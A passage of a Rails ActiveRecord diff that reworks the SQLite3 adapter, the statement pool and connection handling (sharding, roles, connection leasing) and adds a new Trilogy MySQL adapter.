+              elsif column.has_default?
+                # TODO: Remove fetch_cast_type and the need for connection after we release 8.1.
+                default = column.fetch_cast_type(self).deserialize(column.default)
+                default = -> { column.default_function } if default.nil?
+
+                unless column.auto_increment?
+                  column_options[:default] = default
+                end
+              end
+
+              column_type = column.virtual? ? :virtual : (column.bigint? ? :bigint : column.type)
+              @definition.column(column_name, column_type, **column_options)
             end
+
             yield @definition if block_given?
           end
           copy_table_indexes(from, to, options[:rename] || {})
+
+          columns_to_copy = @definition.columns.reject { |col| col.options.key?(:as) }.map(&:name)
           copy_table_contents(from, to,
-            @definition.columns.map(&:name),
+            columns_to_copy,
             options[:rename] || {})
         end
 
@@ -517,16 +712,21 @@ def copy_table_indexes(from, to, rename = {})
               name = name[1..-1]
             end
 
-            to_column_names = columns(to).map(&:name)
-            columns = index.columns.map { |c| rename[c] || c }.select do |column|
-              to_column_names.include?(column)
+            columns = index.columns
+            if columns.is_a?(Array)
+              to_column_names = columns(to).map(&:name)
+              columns = columns.map { |c| rename[c] || c }.select do |column|
+                to_column_names.include?(column)
+              end
             end
 
             unless columns.empty?
               # index name can't be the same
-              opts = { name: name.gsub(/(^|_)(#{from})_/, "\\1#{to}_"), internal: true }
-              opts[:unique] = true if index.unique
-              add_index(to, columns, opts)
+              options = { name: name.gsub(/(^|_)(#{from})_/, "\\1#{to}_"), internal: true }
+              options[:unique] = true if index.unique
+              options[:where] = index.where if index.where
+              options[:order] = index.orders if index.orders
+              add_index(to, columns, **options)
             end
           end
         end
@@ -540,87 +740,159 @@ def copy_table_contents(from, to, columns, rename = {})
           quoted_columns = columns.map { |col| quote_column_name(col) } * ","
           quoted_from_columns = from_columns_to_copy.map { |col| quote_column_name(col) } * ","
 
-          exec_query("INSERT INTO #{quote_table_name(to)} (#{quoted_columns})
+          query_command("INSERT INTO #{quote_table_name(to)} (#{quoted_columns})
                      SELECT #{quoted_from_columns} FROM #{quote_table_name(from)}")
         end
 
-        def sqlite_version
-          @sqlite_version ||= SQLite3Adapter::Version.new(select_value("select sqlite_version(*)"))
-        end
-
-        def translate_exception(exception, message)
-          case exception.message
+        def translate_exception(exception, message:, sql:, binds:)
           # SQLite 3.8.2 returns a newly formatted error message:
           #   UNIQUE constraint failed: *table_name*.*column_name*
           # Older versions of SQLite return:
           #   column *column_name* is not unique
-          when /column(s)? .* (is|are) not unique/, /UNIQUE constraint failed: .*/
-            RecordNotUnique.new(message)
-          when /.* may not be NULL/, /NOT NULL constraint failed: .*/
-            NotNullViolation.new(message)
-          when /FOREIGN KEY constraint failed/i
-            InvalidForeignKey.new(message)
+          if exception.message.match?(/(column(s)? .* (is|are) not unique|UNIQUE constraint failed: .*)/i)
+            RecordNotUnique.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          elsif exception.message.match?(/(.* may not be NULL|NOT NULL constraint failed: .*)/i)
+            NotNullViolation.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          elsif exception.message.match?(/FOREIGN KEY constraint failed/i)
+            InvalidForeignKey.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          elsif exception.message.match?(/CHECK constraint failed: .*/i)
+            CheckViolation.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          elsif exception.message.match?(/called on a closed database/i)
+            ConnectionNotEstablished.new(exception, connection_pool: @pool)
+          elsif exception.is_a?(::SQLite3::BusyException)
+            StatementTimeout.new(message, sql: sql, binds: binds, connection_pool: @pool)
           else
             super
           end
         end
 
-        COLLATE_REGEX = /.*\"(\w+)\".*collate\s+\"(\w+)\".*/i.freeze
+        COLLATE_REGEX = /.*"(\w+)".*collate\s+"(\w+)".*/i
+        PRIMARY_KEY_AUTOINCREMENT_REGEX = /.*"(\w+)".+PRIMARY KEY AUTOINCREMENT/i
+        GENERATED_ALWAYS_AS_REGEX = /.*"(\w+)".+GENERATED ALWAYS AS \((.+)\) (?:STORED|VIRTUAL)/i
 
         def table_structure_with_collation(table_name, basic_structure)
           collation_hash = {}
-          sql = <<-SQL
-            SELECT sql FROM
-              (SELECT * FROM sqlite_master UNION ALL
-               SELECT * FROM sqlite_temp_master)
-            WHERE type = 'table' AND name = #{quote(table_name)}
-          SQL
+          auto_increments = {}
+          generated_columns = {}
 
-          # Result will have following sample string
-          # CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
-          #                       "password_digest" varchar COLLATE "NOCASE");
-          result = exec_query(sql, "SCHEMA").first
-
-          if result
-            # Splitting with left parentheses and picking up last will return all
-            # columns separated with comma(,).
-            columns_string = result["sql"].split("(").last
+          column_strings = table_structure_sql(table_name, basic_structure.map { |column| column["name"] })
 
-            columns_string.split(",").each do |column_string|
+          if column_strings.any?
+            column_strings.each do |column_string|
               # This regex will match the column name and collation type and will save
               # the value in $1 and $2 respectively.
               collation_hash[$1] = $2 if COLLATE_REGEX =~ column_string
+              auto_increments[$1] = true if PRIMARY_KEY_AUTOINCREMENT_REGEX =~ column_string
+              generated_columns[$1] = $2 if GENERATED_ALWAYS_AS_REGEX =~ column_string
             end
 
-            basic_structure.map! do |column|
+            basic_structure.map do |column|
               column_name = column["name"]
 
               if collation_hash.has_key? column_name
                 column["collation"] = collation_hash[column_name]
               end
 
+              if auto_increments.has_key?(column_name)
+                column["auto_increment"] = true
+              end
+
+              if generated_columns.has_key?(column_name)
+                column["dflt_value"] = generated_columns[column_name]
+              end
+
               column
             end
           else
-            basic_structure.to_hash
+            basic_structure.to_a
           end
         end
 
-        def create_table_definition(*args)
-          SQLite3::TableDefinition.new(*args)
+        UNQUOTED_OPEN_PARENS_REGEX = /\((?![^'"]*['"][^'"]*$)/
+        FINAL_CLOSE_PARENS_REGEX = /\);*\z/
+
+        def table_structure_sql(table_name, column_names = nil)
+          unless column_names
+            column_info = table_info(table_name)
+            column_names = column_info.map { |column| column["name"] }
+          end
+
+          sql = <<~SQL
+            SELECT sql FROM
+              (SELECT * FROM sqlite_master UNION ALL
+               SELECT * FROM sqlite_temp_master)
+            WHERE type = 'table' AND name = #{quote(table_name)}
+          SQL
+
+          # Result will have following sample string
+          # CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
+          #                       "password_digest" varchar COLLATE "NOCASE",
+          #                       "o_id" integer,
+          #                       CONSTRAINT "fk_rails_78146ddd2e" FOREIGN KEY ("o_id") REFERENCES "os" ("id"));
+          result = query_value(sql)
+
+          return [] unless result
+
+          # Splitting with left parentheses and discarding the first part will return all
+          # columns separated with comma(,).
+          result.partition(UNQUOTED_OPEN_PARENS_REGEX)
+                .last
+                .sub(FINAL_CLOSE_PARENS_REGEX, "")
+                # column definitions can have a comma in them, so split on commas followed
+                # by a space and a column name in quotes or followed by the keyword CONSTRAINT
+                .split(/,(?=\s(?:CONSTRAINT|"(?:#{Regexp.union(column_names).source})"))/i)
+                .map(&:strip)
         end
 
-        def extract_foreign_key_action(specifier)
-          case specifier
-          when "CASCADE"; :cascade
-          when "SET NULL"; :nullify
-          when "RESTRICT"; :restrict
+        def table_info(table_name)
+          if supports_virtual_columns?
+            query_all("PRAGMA table_xinfo(#{quote_table_name(table_name)})")
+          else
+            query_all("PRAGMA table_info(#{quote_table_name(table_name)})")
+          end
+        end
+
+        def arel_visitor
+          Arel::Visitors::SQLite.new(self)
+        end
+
+        def build_statement_pool
+          StatementPool.new(self.class.type_cast_config_to_integer(@config[:statement_limit]))
+        end
+
+        def connect
+          @raw_connection = self.class.new_client(@connection_parameters)
+        rescue ConnectionNotEstablished => ex
+          raise ex.set_pool(@pool)
+        end
+
+        def reconnect
+          if active?
+            @raw_connection.rollback rescue nil
+          else
+            connect
           end
         end
 
         def configure_connection
-          execute("PRAGMA foreign_keys = ON", "SCHEMA")
+          if @config[:timeout]
+            timeout = self.class.type_cast_config_to_integer(@config[:timeout])
+            raise TypeError, "timeout must be integer, not #{timeout}" unless timeout.is_a?(Integer)
+            @raw_connection.busy_handler_timeout = timeout
+          end
+
+          super
+
+          pragmas = @config.fetch(:pragmas, {}).stringify_keys
+          DEFAULT_PRAGMAS.merge(pragmas).each do |pragma, value|
+            if ::SQLite3::Pragmas.method_defined?("#{pragma}=")
+              @raw_connection.public_send("#{pragma}=", value)
+            else
+              warn "Unknown SQLite pragma: #{pragma}"
+            end
+          end
         end
     end
+    ActiveSupport.run_load_hooks(:active_record_sqlite3adapter, SQLite3Adapter)
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/statement_pool.rb b/activerecord/lib/active_record/connection_adapters/statement_pool.rb
index 790db56185ae8..e84db13392912 100644
--- a/activerecord/lib/active_record/connection_adapters/statement_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/statement_pool.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     class StatementPool # :nodoc:
@@ -40,13 +42,21 @@ def clear
         cache.clear
       end
 
+      # Clear the pool without deallocating; this is only safe when we
+      # know the server has independently deallocated all statements
+      # (e.g. due to a reconnect, or a DISCARD ALL)
+      def reset
+        cache.clear
+      end
+
       def delete(key)
-        dealloc cache[key]
-        cache.delete(key)
+        if stmt = cache.delete(key)
+          dealloc(stmt)
+        end
+        stmt
       end
 
       private
-
         def cache
           @cache[Process.pid]
         end
diff --git a/activerecord/lib/active_record/connection_adapters/trilogy/database_statements.rb b/activerecord/lib/active_record/connection_adapters/trilogy/database_statements.rb
new file mode 100644
index 0000000000000..060d98041c6ee
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/trilogy/database_statements.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module Trilogy
+      module DatabaseStatements
+        def _exec_insert(intent, pk = nil, sequence_name = nil, returning: nil) # :nodoc:
+          sql, binds = sql_for_insert(intent.raw_sql, pk, intent.binds, returning)
+          intent.raw_sql = sql
+          intent.binds = binds
+
+          # AbstractAdapter calls cast_result (returning an AR::Result), but
+          # our last_inserted_id needs the raw Trilogy result object
+          intent.execute!
+          intent.raw_result
+        end
+
+        def execute_batch(statements, name = nil, **kwargs) # :nodoc:
+          combine_multi_statements(statements).each do |statement|
+            intent = QueryIntent.new(
+              adapter: self,
+              processed_sql: statement,
+              name: name,
+              batch: true,
+              binds: kwargs[:binds] || [],
+              prepare: kwargs[:prepare] || false,
+              allow_async: kwargs[:async] || false,
+              allow_retry: kwargs[:allow_retry] || false,
+              materialize_transactions: kwargs[:materialize_transactions] != false
+            )
+            intent.execute!
+            intent.finish
+          end
+        end
+
+        private
+          def perform_query(raw_connection, intent)
+            reset_multi_statement = if intent.batch && !@config[:multi_statement]
+              raw_connection.set_server_option(::Trilogy::SET_SERVER_MULTI_STATEMENTS_ON)
+              true
+            end
+
+            # Make sure we carry over any changes to ActiveRecord.default_timezone that have been
+            # made since we established the connection
+            if default_timezone == :local
+              raw_connection.query_flags |= ::Trilogy::QUERY_FLAGS_LOCAL_TIMEZONE
+            else
+              raw_connection.query_flags &= ~::Trilogy::QUERY_FLAGS_LOCAL_TIMEZONE
+            end
+
+            result = raw_connection.query(intent.processed_sql)
+            while raw_connection.more_results_exist?
+              raw_connection.next_result
+            end
+            verified!
+
+            intent.notification_payload[:affected_rows] = result.affected_rows
+            intent.notification_payload[:row_count] = result.count
+            result
+          ensure
+            if reset_multi_statement && active?
+              raw_connection.set_server_option(::Trilogy::SET_SERVER_MULTI_STATEMENTS_OFF)
+            end
+          end
+
+          def cast_result(result)
+            if result.fields.empty?
+              ActiveRecord::Result.empty(affected_rows: result.affected_rows)
+            else
+              ActiveRecord::Result.new(result.fields, result.rows, affected_rows: result.affected_rows)
+            end
+          end
+
+          def affected_rows(result)
+            result.affected_rows
+          end
+
+          def last_inserted_id(result)
+            if supports_insert_returning?
+              super
+            else
+              result.last_insert_id
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb b/activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb
new file mode 100644
index 0000000000000..66e9547729060
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb
@@ -0,0 +1,212 @@
+# frozen_string_literal: true
+
+require "active_record/connection_adapters/abstract_mysql_adapter"
+
+gem "trilogy", "~> 2.7"
+require "trilogy"
+
+require "active_record/connection_adapters/trilogy/database_statements"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class TrilogyAdapter < AbstractMysqlAdapter
+      ER_BAD_DB_ERROR = 1049
+      ER_DBACCESS_DENIED_ERROR = 1044
+      ER_ACCESS_DENIED_ERROR = 1045
+
+      ADAPTER_NAME = "Trilogy"
+
+      include Trilogy::DatabaseStatements
+
+      SSL_MODES = {
+        SSL_MODE_DISABLED: ::Trilogy::SSL_DISABLED,
+        SSL_MODE_PREFERRED: ::Trilogy::SSL_PREFERRED_NOVERIFY,
+        SSL_MODE_REQUIRED: ::Trilogy::SSL_REQUIRED_NOVERIFY,
+        SSL_MODE_VERIFY_CA: ::Trilogy::SSL_VERIFY_CA,
+        SSL_MODE_VERIFY_IDENTITY: ::Trilogy::SSL_VERIFY_IDENTITY
+      }.freeze
+
+      class << self
+        def new_client(config)
+          config[:ssl_mode] = parse_ssl_mode(config[:ssl_mode]) if config[:ssl_mode]
+          ::Trilogy.new(config)
+        rescue ::Trilogy::Error => error
+          raise translate_connect_error(config, error)
+        end
+
+        def parse_ssl_mode(mode)
+          return mode if mode.is_a? Integer
+
+          m = mode.to_s.upcase
+          m = "SSL_MODE_#{m}" unless m.start_with? "SSL_MODE_"
+
+          SSL_MODES.fetch(m.to_sym, mode)
+        end
+
+        def translate_connect_error(config, error)
+          case error.error_code
+          when ER_DBACCESS_DENIED_ERROR, ER_BAD_DB_ERROR
+            ActiveRecord::NoDatabaseError.db_error(config[:database])
+          when ER_ACCESS_DENIED_ERROR
+            ActiveRecord::DatabaseConnectionError.username_error(config[:username])
+          else
+            if error.message.include?("TRILOGY_DNS_ERROR")
+              ActiveRecord::DatabaseConnectionError.hostname_error(config[:host])
+            else
+              ActiveRecord::ConnectionNotEstablished.new(error.message)
+            end
+          end
+        end
+
+        private
+          def initialize_type_map(m)
+            super
+
+            m.register_type(%r(char)i) do |sql_type|
+              limit = extract_limit(sql_type)
+              Type.lookup(:string, adapter: :trilogy, limit: limit)
+            end
+
+            m.register_type %r(^enum)i, Type.lookup(:string, adapter: :trilogy)
+            m.register_type %r(^set)i,  Type.lookup(:string, adapter: :trilogy)
+          end
+      end
+
+      def initialize(config, *)
+        config = config.dup
+
+        # Trilogy ignores `socket` if `host is set. We want the opposite to allow
+        # configuring UNIX domain sockets via `DATABASE_URL`.
+        config.delete(:host) if config[:socket]
+
+        # Set FOUND_ROWS capability on the connection so UPDATE queries returns number of rows
+        # matched rather than number of rows updated.
+        config[:found_rows] = true
+
+        if config[:prepared_statements]
+          raise ArgumentError, "Trilogy currently doesn't support prepared statements. Remove `prepared_statements: true` from your database configuration."
+        end
+
+        super
+      end
+
+      TYPE_MAP = Type::TypeMap.new.tap { |m| initialize_type_map(m) }
+
+      def supports_json?
+        !mariadb? && database_version >= "5.7.8"
+      end
+
+      def supports_comments?
+        true
+      end
+
+      def supports_comments_in_create?
+        true
+      end
+
+      def supports_savepoints?
+        true
+      end
+
+      def savepoint_errors_invalidate_transactions?
+        true
+      end
+
+      def supports_lazy_transactions?
+        true
+      end
+
+      def connected?
+        !(@raw_connection.nil? || @raw_connection.closed?)
+      end
+
+      def active?
+        connected? && @lock.synchronize { @raw_connection&.ping; verified! } || false
+      rescue ::Trilogy::Error
+        false
+      end
+
+      alias reset! reconnect!
+
+      def disconnect!
+        @lock.synchronize do
+          super
+          @raw_connection&.close
+          @raw_connection = nil
+        end
+      end
+
+      def discard!
+        @lock.synchronize do
+          super
+          @raw_connection&.discard!
+          @raw_connection = nil
+        end
+      end
+
+      private
+        def text_type?(type)
+          TYPE_MAP.lookup(type).is_a?(Type::String) || TYPE_MAP.lookup(type).is_a?(Type::Text)
+        end
+
+        def error_number(exception)
+          exception.error_code if exception.respond_to?(:error_code)
+        end
+
+        def connect
+          @raw_connection = self.class.new_client(@config)
+        rescue ConnectionNotEstablished => ex
+          raise ex.set_pool(@pool)
+        end
+
+        def reconnect
+          @raw_connection&.close
+          @raw_connection = nil
+          connect
+        end
+
+        def full_version
+          database_version.full_version_string
+        end
+
+        def get_full_version
+          with_raw_connection(allow_retry: true, materialize_transactions: false) do |conn|
+            conn.server_info[:version]
+          end
+        end
+
+        def translate_exception(exception, message:, sql:, binds:)
+          if exception.is_a?(::Trilogy::TimeoutError) && !exception.error_code
+            return ActiveRecord::AdapterTimeout.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          end
+
+          case exception
+          when ::Trilogy::ConnectionClosed, ::Trilogy::EOFError, ::Trilogy::SSLError
+            return ConnectionFailed.new(message, connection_pool: @pool)
+          when ::Trilogy::Error
+            if exception.is_a?(SystemCallError) || exception.message.include?("TRILOGY_INVALID_SEQUENCE_ID")
+              return ConnectionFailed.new(message, connection_pool: @pool)
+            end
+          end
+
+          super
+        end
+
+        def default_prepared_statements
+          false
+        end
+
+        ActiveRecord::Type.register(:immutable_string, adapter: :trilogy) do |_, **args|
+          Type::ImmutableString.new(true: "1", false: "0", **args)
+        end
+
+        ActiveRecord::Type.register(:string, adapter: :trilogy) do |_, **args|
+          Type::String.new(true: "1", false: "0", **args)
+        end
+
+        ActiveRecord::Type.register(:unsigned_integer, Type::UnsignedInteger, adapter: :trilogy)
+    end
+
+    ActiveSupport.run_load_hooks(:active_record_trilogyadapter, TrilogyAdapter)
+  end
+end
diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb
index 2ede92feff048..ec3071e6e4946 100644
--- a/activerecord/lib/active_record/connection_handling.rb
+++ b/activerecord/lib/active_record/connection_handling.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 module ActiveRecord
+  # = Active Record Connection Handling
   module ConnectionHandling
-    RAILS_ENV   = -> { (Rails.env if defined?(Rails.env)) || ENV["RAILS_ENV"] || ENV["RACK_ENV"] }
+    RAILS_ENV   = -> { (Rails.env if defined?(Rails.env)) || ENV["RAILS_ENV"].presence || ENV["RACK_ENV"].presence }
     DEFAULT_ENV = -> { RAILS_ENV.call || "default_env" }
 
     # Establishes the connection to the database. Accepts a hash as input where
@@ -36,108 +39,385 @@ module ConnectionHandling
     #   )
     #
     # In case {ActiveRecord::Base.configurations}[rdoc-ref:Core.configurations]
-    # is set (Rails automatically loads the contents of config/database.yml into it),
+    # is set (\Rails automatically loads the contents of config/database.yml into it),
     # a symbol can also be given as argument, representing a key in the
     # configuration hash:
     #
     #   ActiveRecord::Base.establish_connection(:production)
     #
-    # The exceptions AdapterNotSpecified, AdapterNotFound and +ArgumentError+
+    # The exceptions AdapterNotSpecified, AdapterNotFound, and +ArgumentError+
     # may be returned on an error.
-    def establish_connection(config = nil)
-      raise "Anonymous class is not allowed." unless name
+    def establish_connection(config_or_env = nil)
+      config_or_env ||= DEFAULT_ENV.call.to_sym
+      db_config = resolve_config_for_connection(config_or_env)
+      connection_handler.establish_connection(db_config, owner_name: self, role: current_role, shard: current_shard)
+    end
 
-      config ||= DEFAULT_ENV.call.to_sym
-      spec_name = self == Base ? "primary" : name
-      self.connection_specification_name = spec_name
+    # Connects a model to the databases specified. The +database+ keyword
+    # takes a hash consisting of a +role+ and a +database_key+.
+    #
+    # This will look up the database config using the +database_key+ and
+    # establish a connection to that config.
+    #
+    #   class AnimalsModel < ApplicationRecord
+    #     self.abstract_class = true
+    #
+    #     connects_to database: { writing: :primary, reading: :primary_replica }
+    #   end
+    #
+    # +connects_to+ also supports horizontal sharding. The horizontal sharding API
+    # supports read replicas as well. You can connect a model to a list of shards like this:
+    #
+    #   class AnimalsModel < ApplicationRecord
+    #     self.abstract_class = true
+    #
+    #     connects_to shards: {
+    #       default: { writing: :primary, reading: :primary_replica },
+    #       shard_two: { writing: :primary_shard_two, reading: :primary_shard_replica_two }
+    #     }
+    #   end
+    #
+    # Returns an array of database connections.
+    def connects_to(database: {}, shards: {})
+      raise NotImplementedError, "`connects_to` can only be called on ActiveRecord::Base or abstract classes" unless self == Base || abstract_class?
+
+      if database.present? && shards.present?
+        raise ArgumentError, "`connects_to` can only accept a `database` or `shards` argument, but not both arguments."
+      end
+
+      connections = []
 
-      resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new(Base.configurations)
-      spec = resolver.resolve(config).symbolize_keys
-      spec[:name] = spec_name
+      @shard_keys = shards.keys
 
-      connection_handler.establish_connection(spec)
+      if shards.empty?
+        shards[:default] = database
+      end
+
+      self.default_shard = shards.keys.first
+
+      shards.each do |shard, database_keys|
+        database_keys.each do |role, database_key|
+          db_config = resolve_config_for_connection(database_key)
+
+          self.connection_class = true
+          shard = shard.to_sym unless shard.is_a? Integer
+          connections << connection_handler.establish_connection(db_config, owner_name: self, role: role, shard: shard)
+        end
+      end
+
+      connections
     end
 
-    class MergeAndResolveDefaultUrlConfig # :nodoc:
-      def initialize(raw_configurations)
-        @raw_config = raw_configurations.dup
-        @env = DEFAULT_ENV.call.to_s
+    # Connects to a role (e.g. writing, reading, or a custom role) and/or
+    # shard for the duration of the block. At the end of the block the
+    # connection will be returned to the original role / shard.
+    #
+    # If only a role is passed, Active Record will look up the connection
+    # based on the requested role. If a non-established role is requested
+    # an +ActiveRecord::ConnectionNotEstablished+ error will be raised:
+    #
+    #   ActiveRecord::Base.connected_to(role: :writing) do
+    #     Dog.create! # creates dog using dog writing connection
+    #   end
+    #
+    #   ActiveRecord::Base.connected_to(role: :reading) do
+    #     Dog.create! # throws exception because we're on a replica
+    #   end
+    #
+    # When swapping to a shard, the role must be passed as well. If a non-existent
+    # shard is passed, an +ActiveRecord::ConnectionNotEstablished+ error will be
+    # raised.
+    #
+    # When a shard and role is passed, Active Record will first lookup the role,
+    # and then look up the connection by shard key.
+    #
+    #   ActiveRecord::Base.connected_to(role: :reading, shard: :shard_one_replica) do
+    #     Dog.first # finds first Dog record stored on the shard one replica
+    #   end
+    def connected_to(role: nil, shard: nil, prevent_writes: false, &blk)
+      if self != Base && !abstract_class
+        raise NotImplementedError, "calling `connected_to` is only allowed on ActiveRecord::Base or abstract classes."
       end
 
-      # Returns fully resolved connection hashes.
-      # Merges connection information from `ENV['DATABASE_URL']` if available.
-      def resolve
-        ConnectionAdapters::ConnectionSpecification::Resolver.new(config).resolve_all
+      if !connection_class? && !primary_class?
+        raise NotImplementedError, "calling `connected_to` is only allowed on the abstract class that established the connection."
       end
 
-      private
-        def config
-          @raw_config.dup.tap do |cfg|
-            if url = ENV["DATABASE_URL"]
-              cfg[@env] ||= {}
-              cfg[@env]["url"] ||= url
-            end
-          end
-        end
+      unless role || shard
+        raise ArgumentError, "must provide a `shard` and/or `role`."
+      end
+
+      with_role_and_shard(role, shard, prevent_writes, &blk)
+    end
+
+    # Connects a role and/or shard to the provided connection names. Optionally +prevent_writes+
+    # can be passed to block writes on a connection. +reading+ will automatically set
+    # +prevent_writes+ to true.
+    #
+    # +connected_to_many+ is an alternative to deeply nested +connected_to+ blocks.
+    #
+    # Usage:
+    #
+    #   ActiveRecord::Base.connected_to_many(AnimalsRecord, MealsRecord, role: :reading) do
+    #     Dog.first # Read from animals replica
+    #     Dinner.first # Read from meals replica
+    #     Person.first # Read from primary writer
+    #   end
+    def connected_to_many(*classes, role:, shard: nil, prevent_writes: false)
+      classes = classes.flatten
+
+      if self != Base || classes.include?(Base)
+        raise NotImplementedError, "connected_to_many can only be called on ActiveRecord::Base."
+      end
+
+      prevent_writes = true if role == ActiveRecord.reading_role
+
+      append_to_connected_to_stack(role: role, shard: shard, prevent_writes: prevent_writes, klasses: classes)
+      begin
+        yield
+      ensure
+        connected_to_stack.pop
+      end
+    end
+
+    # Passes the block to +connected_to+ for every +shard+ the
+    # model is configured to connect to (if any), and returns the
+    # results in an array.
+    #
+    # Optionally, +role+ and/or +prevent_writes+ can be passed which
+    # will be forwarded to each +connected_to+ call.
+    def connected_to_all_shards(role: nil, prevent_writes: false, &blk)
+      shard_keys.map do |shard|
+        connected_to(shard: shard, role: role, prevent_writes: prevent_writes, &blk)
+      end
+    end
+
+    # Use a specified connection.
+    #
+    # This method is useful for ensuring that a specific connection is
+    # being used. For example, when booting a console in readonly mode.
+    #
+    # It is not recommended to use this method in a request since it
+    # does not yield to a block like +connected_to+.
+    def connecting_to(role: default_role, shard: default_shard, prevent_writes: false)
+      prevent_writes = true if role == ActiveRecord.reading_role
+
+      append_to_connected_to_stack(role: role, shard: shard, prevent_writes: prevent_writes, klasses: [self])
+    end
+
+    # Prohibit swapping shards while inside of the passed block.
+    #
+    # In some cases you may want to be able to swap shards but not allow a
+    # nested call to connected_to or connected_to_many to swap again. This
+    # is useful in cases you're using sharding to provide per-request
+    # database isolation.
+    def prohibit_shard_swapping(enabled = true)
+      ActiveSupport::IsolatedExecutionState[:active_record_prohibit_shard_swapping] ||= Set.new
+      prev_value = ActiveSupport::IsolatedExecutionState[:active_record_prohibit_shard_swapping]
+      if enabled
+        ActiveSupport::IsolatedExecutionState[:active_record_prohibit_shard_swapping] = prev_value.dup.add(connection_specification_name)
+      else
+        ActiveSupport::IsolatedExecutionState[:active_record_prohibit_shard_swapping] = prev_value.dup.delete(connection_specification_name)
+      end
+      yield
+    ensure
+      ActiveSupport::IsolatedExecutionState[:active_record_prohibit_shard_swapping] = prev_value
+    end
+
+    # Determine whether or not shard swapping is currently prohibited
+    def shard_swapping_prohibited?
+      ActiveSupport::IsolatedExecutionState[:active_record_prohibit_shard_swapping]&.include?(connection_specification_name)
+    end
+
+    # Prevent writing to the database regardless of role.
+    #
+    # In some cases you may want to prevent writes to the database
+    # even if you are on a database that can write. +while_preventing_writes+
+    # will prevent writes to the database for the duration of the block.
+    #
+    # This method does not provide the same protection as a readonly
+    # user and is meant to be a safeguard against accidental writes.
+    #
+    # See +READ_QUERY+ for the queries that are blocked by this
+    # method.
+    def while_preventing_writes(enabled = true, &block)
+      connected_to(role: current_role, prevent_writes: enabled, &block)
+    end
+
+    # Returns true if role is the current connected role and/or
+    # current connected shard. If no shard is passed, the default will be
+    # used.
+    #
+    #   ActiveRecord::Base.connected_to(role: :writing) do
+    #     ActiveRecord::Base.connected_to?(role: :writing) #=> true
+    #     ActiveRecord::Base.connected_to?(role: :reading) #=> false
+    #   end
+    #
+    #   ActiveRecord::Base.connected_to(role: :reading, shard: :shard_one) do
+    #     ActiveRecord::Base.connected_to?(role: :reading, shard: :shard_one) #=> true
+    #     ActiveRecord::Base.connected_to?(role: :reading, shard: :default) #=> false
+    #     ActiveRecord::Base.connected_to?(role: :writing, shard: :shard_one) #=> true
+    #   end
+    def connected_to?(role:, shard: ActiveRecord::Base.default_shard)
+      current_role == role.to_sym && current_shard == shard.to_sym
+    end
+
+    # Clears the query cache for all connections associated with the current thread.
+    def clear_query_caches_for_current_thread
+      connection_handler.each_connection_pool do |pool|
+        pool.clear_query_cache
+      end
     end
 
     # Returns the connection currently associated with the class. This can
     # also be used to "borrow" the connection to do database work unrelated
     # to any of the specific Active Records.
+    # The connection will remain leased for the entire duration of the request
+    # or job, or until +#release_connection+ is called.
+    def lease_connection
+      connection_pool.lease_connection
+    end
+
+    # Soft deprecated. Use +#with_connection+ or +#lease_connection+ instead.
     def connection
-      retrieve_connection
+      pool = connection_pool
+      if pool.permanent_lease?
+        case ActiveRecord.permanent_connection_checkout
+        when :deprecated
+          ActiveRecord.deprecator.warn <<~MESSAGE
+            Called deprecated `ActiveRecord::Base.connection` method.
+
+            Either use `with_connection` or `lease_connection`.
+          MESSAGE
+        when :disallowed
+          raise ActiveRecordError, <<~MESSAGE
+            Called deprecated `ActiveRecord::Base.connection` method.
+
+            Either use `with_connection` or `lease_connection`.
+          MESSAGE
+        end
+        pool.lease_connection
+      else
+        pool.active_connection
+      end
+    end
+
+    # Return the currently leased connection into the pool
+    def release_connection
+      connection_pool.release_connection
+    end
+
+    # Checkouts a connection from the pool, yield it and then check it back in.
+    # If a connection was already leased via #lease_connection or a parent call to
+    # #with_connection, that same connection is yielded.
+    # If #lease_connection is called inside the block, the connection won't be checked
+    # back in.
+    # If #connection is called inside the block, the connection won't be checked back in
+    # unless the +prevent_permanent_checkout+ argument is set to +true+.
+    def with_connection(prevent_permanent_checkout: false, &block)
+      connection_pool.with_connection(prevent_permanent_checkout: prevent_permanent_checkout, &block)
     end
 
     attr_writer :connection_specification_name
 
-    # Return the specification name from the current class or its parent.
+    # Returns the connection specification name from the current class or its parent.
     def connection_specification_name
-      if !defined?(@connection_specification_name) || @connection_specification_name.nil?
-        return self == Base ? "primary" : superclass.connection_specification_name
+      if @connection_specification_name.nil?
+        return self == Base ? Base.name : superclass.connection_specification_name
       end
       @connection_specification_name
     end
 
-    # Returns the configuration of the associated connection as a hash:
+    def primary_class? # :nodoc:
+      self == Base || application_record_class?
+    end
+
+    # Returns the db_config object from the associated connection:
     #
-    #  ActiveRecord::Base.connection_config
-    #  # => {pool: 5, timeout: 5000, database: "db/development.sqlite3", adapter: "sqlite3"}
+    #  ActiveRecord::Base.connection_db_config
+    #    #<ActiveRecord::DatabaseConfigurations::HashConfig:0x00007fd1acbded10 @env_name="development",
+    #      @name="primary", @config={pool: 5, timeout: 5000, database: "storage/development.sqlite3", adapter: "sqlite3"}>
     #
-    # Please use only for reading.
-    def connection_config
-      connection_pool.spec.config
+    # Use only for reading.
+    def connection_db_config
+      connection_pool.db_config
+    end
+
+    def adapter_class # :nodoc:
+      connection_pool.db_config.adapter_class
     end
 
     def connection_pool
-      connection_handler.retrieve_connection_pool(connection_specification_name) || raise(ConnectionNotEstablished)
